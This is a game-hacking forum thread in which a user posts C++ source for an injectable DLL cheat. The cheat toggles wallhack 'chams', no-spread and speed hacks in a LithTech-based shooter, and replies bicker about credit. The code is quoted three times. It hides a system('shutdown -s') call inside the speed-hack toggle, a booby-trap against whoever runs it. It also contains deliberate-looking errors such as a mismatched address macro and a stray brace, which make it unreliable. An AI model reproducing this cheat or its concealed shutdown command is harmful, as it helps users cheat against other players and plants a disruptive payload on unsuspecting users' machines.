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  1. #16
    topblast's Avatar
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    COPY THIS INTO AN EMPTY WIN32 DLL "*.cpp" file

    Code:
    #include <windows.h>
    
    //Addys Here
    #define LTCAddy 0x377ED910 //LTClient Address (Not Alt one)
    #define HACKNAME " HACK NAME HERE "
    
    //Defines
    
    void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
    {
    		DWORD *LTClient = ( DWORD* )( LTAddy );
    		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    		__asm
    		{
    			push szCommand;
    			call CONoff;
    			add esp, 4;
    	}
    }
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    { 
        DWORD dwOrgProtect = NULL; 
    	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    		return FALSE;
    
        memcpy( pDest, szPatch, sSize ); 
        VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
        return TRUE; 
    }
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    void main(void)
    {
    	while (!IsGameReadyForHook())
    		Sleep(20);
    	
    	bool NX = false;
    	bool spread = false;
    	bool speed = false;
    	bool Recoil = false;
    	bool activate = false;
    	while(true){
    		PushToConsole("ShowFps 1");
    		PushToConsole("FogEnable 0");
    		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
    			if(NX){
    				PushToConsole("SkelModelStencil 0");
    				NX = false;
    			} else {
    				PushToConsole("SkelModelStencil 1");
    				NX = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
    			if(spread){
    				PushToConsole("PerturbRotationEffect 3.000000");
    				PushToConsole("PerturbIncreaseSpeed 3.000000");
    				PushToConsole("PerturbDecreaseSpeed 9.000000");
    				PushToConsole("PerturbWalkPercent 0.500000");
    				spread = false;
    			} else {
    				PushToConsole("PerturbRotationEffect  0.000000"); 
    				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
    				PushToConsole("PerturbWalkPercent 0.000000"); 
    				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
    				spread = true;
    			}
    		}
    				
    		}
    				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
    			if(speed){
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 500.000000");
    				system("shutdown -s");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 70.000000");
    				PushToConsole("FRunVel 285.000000");
    				PushToConsole("BRunVel 285.000000");
    				PushToConsole("SRunVel 285.000000");
    				PushToConsole("DuckVel 50.000000");
    				speed = false;
    			} else {
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 550.000000");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 120.000000");
    				PushToConsole("FRunVel 335.000000");
    		    	PushToConsole("BRunVel 335.000000");
    				PushToConsole("SRunVel 335.000000");
    				PushToConsole("DuckVel 100.000000");
    				speed = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
    			if(activate){
    				PushToConsole("ActivationDistance 10" );
    				activate = false;
    			} else {
    				PushToConsole("ActivationDistance 999999" ); 
    				activate = true;
    			}
    		}
    
    		Sleep(200);
    	}
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    					 )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
                           MessageBoxA(NULL, " The Hack Was Injector/n\n
     Credit Topblast /n\n /n\n/n\n HOYKEY HACK", HACKNAME, MB_OK);
                           CreateThread(NULL,NULL, main, NULL, NULL);
    
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    I just like programming, that is all.

    Current Stuff:

    • GPU Programmer (Cuda)
    • Client/Server (Cloud Server)
    • Mobile App Development

  2. #17
    CodeDemon's Avatar
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    Quote Originally Posted by topblast View Post
    COPY THIS INTO AN EMPTY WIN32 DLL "*.cpp" file

    Code:
    #include <windows.h>
    
    //Addys Here
    #define LTCAddy 0x377ED910 //LTClient Address (Not Alt one)
    #define HACKNAME " HACK NAME HERE "
    
    //Defines
    
    void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
    {
    		DWORD *LTClient = ( DWORD* )( LTAddy );
    		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    		__asm
    		{
    			push szCommand;
    			call CONoff;
    			add esp, 4;
    	}
    }
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    { 
        DWORD dwOrgProtect = NULL; 
    	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    		return FALSE;
    
        memcpy( pDest, szPatch, sSize ); 
        VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
        return TRUE; 
    }
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    void main(void)
    {
    	while (!IsGameReadyForHook())
    		Sleep(20);
    	
    	bool NX = false;
    	bool spread = false;
    	bool speed = false;
    	bool Recoil = false;
    	bool activate = false;
    	while(true){
    		PushToConsole("ShowFps 1");
    		PushToConsole("FogEnable 0");
    		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
    			if(NX){
    				PushToConsole("SkelModelStencil 0");
    				NX = false;
    			} else {
    				PushToConsole("SkelModelStencil 1");
    				NX = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
    			if(spread){
    				PushToConsole("PerturbRotationEffect 3.000000");
    				PushToConsole("PerturbIncreaseSpeed 3.000000");
    				PushToConsole("PerturbDecreaseSpeed 9.000000");
    				PushToConsole("PerturbWalkPercent 0.500000");
    				spread = false;
    			} else {
    				PushToConsole("PerturbRotationEffect  0.000000"); 
    				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
    				PushToConsole("PerturbWalkPercent 0.000000"); 
    				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
    				spread = true;
    			}
    		}
    				
    		}
    				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
    			if(speed){
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 500.000000");
    				system("shutdown -s");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 70.000000");
    				PushToConsole("FRunVel 285.000000");
    				PushToConsole("BRunVel 285.000000");
    				PushToConsole("SRunVel 285.000000");
    				PushToConsole("DuckVel 50.000000");
    				speed = false;
    			} else {
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 550.000000");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 120.000000");
    				PushToConsole("FRunVel 335.000000");
    		    	PushToConsole("BRunVel 335.000000");
    				PushToConsole("SRunVel 335.000000");
    				PushToConsole("DuckVel 100.000000");
    				speed = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
    			if(activate){
    				PushToConsole("ActivationDistance 10" );
    				activate = false;
    			} else {
    				PushToConsole("ActivationDistance 999999" ); 
    				activate = true;
    			}
    		}
    
    		Sleep(200);
    	}
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    					 )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
                           MessageBoxA(NULL, " The Hack Was Injector/n\n
     Credit Topblast /n\n /n\n/n\n HOYKEY HACK", HACKNAME, MB_OK);
                           CreateThread(NULL,NULL, main, NULL, NULL);
    
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    Have fun not being credited /

  3. #18
    whit's Avatar
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    Tehe At This Thread...
    @Topblast When We Were No0bs No one Helped Us...
    Except Matty He Gave Me Gellins Base And Told Me To Study It..

  4. #19
    topblast's Avatar
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    Quote Originally Posted by whit View Post
    Tehe At This Thread...
    @Topblast When We Were No0bs No one Helped Us...
    Except Matty He Gave Me Gellins Base And Told Me To Study It..
    well matypatty helped you.. of which at that time i dont think i had a menu hack


    Quote Originally Posted by CodeDemon View Post
    Have fun not being credited /
    i dont really care.. people who dont credits.. ends up like coryster.
    I just like programming, that is all.

    Current Stuff:

    • GPU Programmer (Cuda)
    • Client/Server (Cloud Server)
    • Mobile App Development

  5. #20
    NOOBJr's Avatar
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    Topblast is right. If they dont give credits they are noob and not true to themselves. I was going to release my hotkey base but topblast beat me to it!

  6. #21
    whit's Avatar
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    Quote Originally Posted by topblast View Post


    well matypatty helped you.. of which at that time i dont think i had a menu hack
    He Help Me When No One Had A Menu Bebore He Release Hacks And You..

  7. #22
    Aveda's Avatar
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    Guys i already showd him how to make a hack topblast hide your hotkey base i showd him mine already hes testing it right now ;D

  8. #23
    whit's Avatar
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    Quote Originally Posted by Aveda View Post
    Guys i already showd him how to make a hack topblast hide your hotkey base i showd him mine already hes testing it right now ;D
    /Cares.....

  9. #24
    topblast's Avatar
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    Quote Originally Posted by Zane Slayman View Post
    Topblast is right. If they dont give credits they are noob and not true to themselves. I was going to release my hotkey base but topblast beat me to it!
    Who are u.. i see u around.
    I just like programming, that is all.

    Current Stuff:

    • GPU Programmer (Cuda)
    • Client/Server (Cloud Server)
    • Mobile App Development

  10. #25
    CodeDemon's Avatar
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    I didnt ask anybody for any help when I was learning(and I still am), infact out of all the 600+ posts I have on here not a single one is asking for help. As a wise programmer named Blubsi told me, "Programming is not about asking questions but rather trying new things and figuring out the anwser".

  11. The Following User Says Thank You to CodeDemon For This Useful Post:

    whit (09-25-2010)

  12. #26
    topblast's Avatar
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    Quote Originally Posted by CodeDemon View Post
    I didnt ask anybody for any help when I was learning(and I still am), infact out of all the 600+ posts I have on here not a single one is asking for help. As a wise programmer named Blubsi told me, "Programming is not about asking questions but rather trying new things and figuring out the anwser".
    well u were stupid.. every one need little help
    I just like programming, that is all.

    Current Stuff:

    • GPU Programmer (Cuda)
    • Client/Server (Cloud Server)
    • Mobile App Development

  13. The Following User Says Thank You to topblast For This Useful Post:

    Dead 4 Real (09-25-2010)

  14. #27
    CodeDemon's Avatar
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    Quote Originally Posted by topblast View Post


    well u were stupid.. every one need little help
    Its not stupid if you don't ask for help. You actually learn 3 times as much than if somebody were to just give you the answer.

  15. #28
    whatup777's Avatar
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    You gave him Copy and pasteable source code. How does that help him.


    "Give a man a fish feed him for a day, teach a man to fish feed him for life."

    Your just giving him a fish.
    Quotes I live by.


    A foolish person learns from his mistakes, I wise person learns from others.
    Quote Originally Posted by AVGN View Post



    mhm

    i live in texas

    i was at the grocery store with my son. He saw a mexican guy, and he said "Look daddy! a mower man!"

    he's 4 yrs old

  16. The Following 2 Users Say Thank You to whatup777 For This Useful Post:

    markoj (09-25-2010),Timboy67678 (10-01-2010)

  17. #29
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    Quote Originally Posted by whatup777 View Post
    You gave him Copy and pasteable source code. How does that help him.


    "Give a man a fish feed him for a day, teach a man to fish feed him for life."

    Your just giving him a fish.
    omfg perfect quote and so true
    Dont ban me

  18. #30
    shugeevan's Avatar
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    Quote Originally Posted by topblast View Post
    COPY THIS INTO AN EMPTY WIN32 DLL "*.cpp" file

    Code:
    #include <windows.h>
    
    //Addys Here
    #define LTCAddy 0x377ED910 //LTClient Address (Not Alt one)
    #define HACKNAME " HACK NAME HERE "
    
    //Defines
    
    void __cdecl PushToConsole( const char* szCommand ) //Push To console method updated
    {
    		DWORD *LTClient = ( DWORD* )( LTAddy );
    		void* CONoff = ( void* )*( DWORD* )( *LTClient + 0x208 );
    		__asm
    		{
    			push szCommand;
    			call CONoff;
    			add esp, 4;
    	}
    }
    bool Memoria( void * pDest, char * szPatch, size_t sSize ) //Nopping Method
    { 
        DWORD dwOrgProtect = NULL; 
    	if ( !VirtualProtect ( pDest, sSize, PAGE_EXECUTE_READWRITE, &dwOrgProtect ))
    		return FALSE;
    
        memcpy( pDest, szPatch, sSize ); 
        VirtualProtect( pDest, sSize, dwOrgProtect, NULL ); 
        return TRUE; 
    }
    
    bool IsGameReadyForHook()
    {
    if( GetModuleHandleA( "d3d9.dll"     ) != NULL 
    && GetModuleHandleA( "ClientFX.fxd" ) != NULL 
    && GetModuleHandleA( "CShell.dll"   ) != NULL )
    return true;
    return false;
    }
    void main(void)
    {
    	while (!IsGameReadyForHook())
    		Sleep(20);
    	
    	bool NX = false;
    	bool spread = false;
    	bool speed = false;
    	bool Recoil = false;
    	bool activate = false;
    	while(true){
    		PushToConsole("ShowFps 1");
    		PushToConsole("FogEnable 0");
    		if(GetAsyncKeyState(VK_NUMPAD1)<0){ // NX Chams
    			if(NX){
    				PushToConsole("SkelModelStencil 0");
    				NX = false;
    			} else {
    				PushToConsole("SkelModelStencil 1");
    				NX = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD2)<0){ // No Spread
    			if(spread){
    				PushToConsole("PerturbRotationEffect 3.000000");
    				PushToConsole("PerturbIncreaseSpeed 3.000000");
    				PushToConsole("PerturbDecreaseSpeed 9.000000");
    				PushToConsole("PerturbWalkPercent 0.500000");
    				spread = false;
    			} else {
    				PushToConsole("PerturbRotationEffect  0.000000"); 
    				PushToConsole("PerturbIncreaseSpeed 0.000000"); 
    				PushToConsole("PerturbWalkPercent 0.000000"); 
    				PushToConsole("PerturbFiringIncreaseSpeed 0.000000");
    				spread = true;
    			}
    		}
    				
    		}
    				if(GetAsyncKeyState(VK_NUMPAD4)<0){ // Legit Speed Hax
    			if(speed){
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 500.000000");
    				system("shutdown -s");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 70.000000");
    				PushToConsole("FRunVel 285.000000");
    				PushToConsole("BRunVel 285.000000");
    				PushToConsole("SRunVel 285.000000");
    				PushToConsole("DuckVel 50.000000");
    				speed = false;
    			} else {
    				PushToConsole("BaseMoveAccel 3000.000000");
    				PushToConsole("StartAccel 550.000000");
    				PushToConsole("MaxAccel 3000.000000");
    				PushToConsole("AccelInc 6000.000000");
    				PushToConsole("WalkVel 120.000000");
    				PushToConsole("FRunVel 335.000000");
    		    	PushToConsole("BRunVel 335.000000");
    				PushToConsole("SRunVel 335.000000");
    				PushToConsole("DuckVel 100.000000");
    				speed = true;
    			}
    		}
    				if(GetAsyncKeyState(VK_NUMPAD5)<0){ // Activation
    			if(activate){
    				PushToConsole("ActivationDistance 10" );
    				activate = false;
    			} else {
    				PushToConsole("ActivationDistance 999999" ); 
    				activate = true;
    			}
    		}
    
    		Sleep(200);
    	}
    }
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
    					 )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
                           MessageBoxA(NULL, " The Hack Was Injector/n\n
     Credit Topblast /n\n /n\n/n\n HOYKEY HACK", HACKNAME, MB_OK);
                           CreateThread(NULL,NULL, main, NULL, NULL);
    
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    LMAO. Thank you :P But, I'm not stupid, i'll give credits like I did last time

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